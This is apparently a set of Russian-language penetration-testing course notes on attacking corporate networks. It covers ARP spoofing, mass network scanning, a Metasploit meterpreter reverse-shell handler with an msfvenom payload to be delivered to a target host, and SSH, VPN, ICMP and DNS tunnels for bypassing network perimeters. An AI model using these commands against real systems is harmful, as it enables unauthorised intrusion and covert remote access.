# CYBER INFRASTRUCTURE THREATS ###### tags: `CSB`, `CIT` **СОДЕРЖАНИЕ** :::spoiler [TOC] ::: ## Корпоративная инфраструктура ![](https://i.imgur.com/iyLJyEi.png) ## Методы проникновения в КИ ## OSINT ## Перехват трафика ### ==arp-spoof== > \# arpspoof -h Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host ### ==dns2proxy== > https://github.com/singe/dns2proxy/ > https://kali.tools/?p=474 ### ==ssl-split== > https://kali.tools/?p=177 > https://blackarch.ru/?p=643 ### wireshark ### ==tshark== Поиск VLANID в файле дампа трафика (wireshark, tcpdum, etc) :::info \# tshark -r DUMP_FILE.PCAP -T fields -e vlan.id | sort -n -u ::: ## Сканирование сети ### ==nmap== *==scan==* :::info - \# nmap -Pn -n -p 21,22,23,445,623,1433,5432,5555,8080,8081,8180,8443,4786,1099,27017,3389,88,389 --open -oX file_name.out -v --min-rate=400 --min-parallelism=512 172.16.0.0/16 - nmap -sS -sV -sC -Pn -n -p- --open -oX file_name.out -v \<IP> - nmap -sU -sV -sC -Pn -n -p- --open -oX file_name.out -v \<IP> - nmap -sT -sU -A -O -p0-65535 -oX file_name.out -v <IP> ::: > -T[0-5] - скорость сканирования > -F - быстрое сканирование ~100 портов > -O - определение ОС > -sV - определение служб и их версий на портах > -A - агрессивное сканирование *==scripts==* готовые скрипты https://nmap.org/nsedoc/ default скрипты https://nmap.org/nsedoc/categories/default.html скрипты для сканирования на наличие уязвимостей: > ***github:*** > vulscan > nmap-vulners *информация о скрипте:* :::info \# nmap --script-help mysql-empty-password ::: > \--script <filename>|<category>|<directory>/|<expression>... > -sC - script==default :::info \# nmap -p80 --script="dns-brute" fbmse.ru ::: ### nessus ### openvas (GSM) ### ==masscan== :::spoiler > \# masscan -h > usage: > masscan -p80,8000-8100 10.0.0.0/8 --rate=10000 > scan some web ports on 10.x.x.x at 10kpps > masscan --nmap > list those options that are compatible with nmap > masscan -p80 10.0.0.0/8 --banners -oB <filename> > save results of scan in binary format to <filename> > masscan --open --banners --readscan <filename> -oX <savefile> > read binary scan results in <filename> and save them as xml in <savefile> ::: :::info - \# masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80 - \# masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan - \# masscan --open --banners --readscan internet.scan -oG internet_scan.grepable ::: ### ==netdiscover== :::spoiler > \# netdiscover -h > Netdiscover 0.5.1 [Active/passive ARP reconnaissance tool] > Written by: Jaime Penalba <jpenalbae@gmail.com> > > Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS] > -i device: your network device > -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8 > -l file: scan the list of ranges contained into the given file > -p passive mode: do not send anything, only sniff > -m file: scan a list of known MACs and host names > -F filter: customize pcap filter expression (default: "arp") > -s time: time to sleep between each ARP request (milliseconds) > -c count: number of times to send each ARP request (for nets with packet loss) > -n node: last source IP octet used for scanning (from 2 to 253) > -d ignore home config files for autoscan and fast mode > -f enable fastmode scan, saves a lot of time, recommended for auto > -P print results in a format suitable for parsing by another program and stop after active scan > -L similar to -P but continue listening after the active scan is completed > -N Do not print header. Only valid when -P or -L is enabled. > -S enable sleep time suppression between each request (hardcore mode) > > If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses. ::: :::info - Scan common LAN addresses on eth0: \# netdiscover -i eth0 - Fast scan common LAN addresses on eth0 (search only for gateways): \# netdiscover -i eth0 -f - Scan some fixed ranges: \# netdiscover -i eth0 -r 172.26.0.0/24 \# netdiscover -r 192.168.0.0/16 \# netdiscover -r 10.0.0.0/8 - Scan common LAN addresses with sleep time 0.5 milliseconds instead of default 1: \# netdiscover -s 0.5 - Scan fixed range on fast mode with sleep time 0.5 milliseconds instead of default 1: \# netdiscover -r 192.168.0.0/16 -f -s 0.5 - Scan a range using 101 as last octet for SOURCE IP \# netdiscover -r 10.1.0.0/16 -n 101 - Only sniff for ARP traffic, don't send nothing: \# netdiscover -p ::: ### ==crackmapexec== :::spoiler > \# crackmapexec -h usage: crackmapexec [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {smb,winrm,ldap,mssql,ssh} ... > > optional arguments: -h, --help show this help message and exit -t THREADS set how many concurrent threads to use (default: 100) --timeout TIMEOUT max timeout in seconds of each thread (default: None) --jitter INTERVAL sets a random delay between each connection (default: None) --darrell give Darrell a hand --verbose enable verbose output > > protocols: available protocols > > {smb,winrm,ldap,mssql,ssh} ::: :::info \# crackmapexec smb 172.16.0.0/16 ::: ## MSF :::info ;запустить postgresql \# systemctl start postgresql \# systemctl enable postgresql ;инициализировать базу данных MSF \# msfdb init ;запустить MSF \# msfconsole -q ::: ### reverse shell :::info ;выбрать в качестве эксплойта мультихандлер msf> use exploit/multi/handler ;выбрать в качестве нагрузки нужную msf> set payload **windows/x64/meterpreter/reverse_tcp** ;задать параметры в соответсвии с выбранной нагрузкой msf> set options lhost <MSF_IP> msf> set options lport <MSF_PORT> ;запустить мультихандлер (-j -z - запуск в фоновом режиме) msf> run ::: ### msfvenom :::info ;с помощью msfvenom сгенерировать файл с выбранной ранее в msf нагрузкой и соответствующими параметрами \# msfvenom -p **windows/x64/meterpreter/reverse_tcp** lhost=<MSF_IP> lport=<MSF_PORT> -f exe -o file.exe ;любыми средствами передать сгенерированный файл для выполнения на целевом хосте и ожидать поднятия сессии в MSF ::: ## SSH > Магия SSH https://habr.com/ru/post/331348/ ### ==SSH proxy== :::info \# ssh -f -qNTn -D "*:1908" user@host ;в браузере указать socks-proxy на localhost:1908 ::: ### ==SSS tunnel== **internal ssh-vpn-client [KALI-INT]** :::info \# ssh -w 5:5 root@<VPN_SERVER_IP> ::: Поднять созданный интерфейс :::info \# ip link set tun5 up \# ip a add <IP/MASK> dev tun5 ::: - включить ***forwarding*** - включить ***nat*** на интерфейсе локального сегмента сети (iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j MASQUERADE) **external ssh-vpn-server [LINUX1]** Поднять созданный интерфейс :::info \# ip link set tun5 up \# ip a add <IP/MASK> dev tun5 ::: - включить ***forwarding*** - добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <client-tun5-ip-addr>) ## VPN angristan /openvpn-install https://github.com/angristan/openvpn-install ### ==openvpn L3== **internal vpn-client [KALI-INT]** > "***./client.ovpn***" > dev tun > закомментировать > \# explicit-exit-notify > \# ignore-unknown-option block-outside-dns > \# setenv opt block-outside-dns - включить ***forwarding*** - включить ***nat*** на интерфейсе локального сегмента сети **external vpn-client [KALI-EXT]** > "***./client.ovpn***" > dev tun > закомментировать > \# explicit-exit-notify > \# ignore-unknown-option block-outside-dns > \# setenv opt block-outside-dns - включить ***forwarding*** **external vpn-server [LINUX1]** > "***/etc/openvpn/server.conf***" > dev tun > закомментировать > \# push ... - 3шт > добавить > client-to-client > "***/etc/openvpn/ccd/client***" > iroute 192.168.1.0 255.255.255.0 - включить ***forwarding*** - добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <tun0-ip-addr>) ### ==openvpn L2== **internal vpn-client [KALI-INT]** > \# apt install bridge-utils > "***/etc/network/interfaces***" > ==Проверить работоспособность== > ==auto ens3 tap0 br0== > iface ens3 inet manual > iface tap0 inet manual > iface br0 inet dhcp > bridge_ports ens3 tap0 > \# mv ./client.ovpn /etc/openvpn/ > "***./client.ovpn***" > dev tap > \# разрешаем запускать скрипты для автоподнятия туннеля > script-security 2 > up /etc/openvpn/up.sh > закомментировать > \# explicit-exit-notify > \# ignore-unknown-option block-outside-dns > \# setenv opt block-outside-dns **Включить автоподнятие туннеля** > "***/etc/default/openvpn***" > добавить > Autostart="all" > "***/etc/openvpn/up.sh***" > #!/bin/sh > /usr/bin/systemctl restart networking >\# chmod +x /etc/openvpn/up.sh - включить ***forwarding*** - включить ***nat*** на интерфейсе локального сегмента сети **external vpn-client [KALI-EXT]** > "***./client.ovpn***" > dev tap > закомментировать > \# explicit-exit-notify > \# ignore-unknown-option block-outside-dns > \# setenv opt block-outside-dns > "***/etc/network/interfaces***" > auto eth0 tap0 > iface eth0 inet dhcp > iface tap0 inet dhcp - включить ***forwarding*** **external vpn-server [LINUX1]** > "***/etc/openvpn/server.conf***" > dev tap > закомментировать > \# push ... - 3шт > добавить > client-to-client - включить ***forwarding*** - добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <tun0-ip-addr>) ## ICMP tunneling ==Hans - IP over ICMP== https://github.com/friedrich/hans http://code.gerade.org/hans/ **external icmp-server [LINUX1]** > \# apt install git make g++ curl net-tools > \# git clone hans > \# cd hans > \# make > \# ./hans -s 10.1.2.0 -p <PASSWD> --> tun0 - включить ***forwarding*** - включить ***nat*** на внешнем интерфейсе **internal icmp-client [KALI-INT]** > \# apt install git make g++ curl net-tools > \# ./hans -c <ICMP_SERVER_EXT_IP> -p <PASSWD> --> tun0 > \# ip r add <ICMP_SERVER_EXT_IP/32> via <LAN_GW> > \# ip r delete default > \# ip r defaul via <ICMP_SERVER_INT_IP> - включить ***forwarding*** - включить ***nat*** на интерфейсе ***tun0*** ## DNS tunneling ==iodine== - https://code.kryo.se/iodine ### ==Вариант1== **external dns-vpn-server [LINUX1]** > \# apt install iodine > \# iodined <DNS_INT_IP/24> -P <PASSWD> -c <DOMAIN.NAME> --> dns0 - включить ***forwarding*** - включить ***nat*** на внешнем интерфейсе **internal dns-vpn-client [KALI-INT]** > \# apt install iodine > "***/etc/resolv.conf***" > nameserver <DNS_EXT_IP> > \# iodine -P <PASSWD> <DOMAIN.NAME> --> dns0 > \# ip r add <DNS_EXT_IP> via <LAN_GW> > \# ip r delete default > \# ip r add default via <DNS_INT_IP> > \# iptables -t nat -A POSTROUTING -o dns0 -j MASQUERADE ### ==Вариант2== external dns-vpn-server [LINUX1] server iodined -P <pass> <IP> -c <DOMAIN.NAME> - включить forwarding - включить nat на внешнем интерфейсе Internal dns-vpn-client [KALI-INT] iodine -P <pass> <DOMAIN.NAME> ip r del default ip r add default via <DNS-INT-IP> ## DDOS services ### DHCP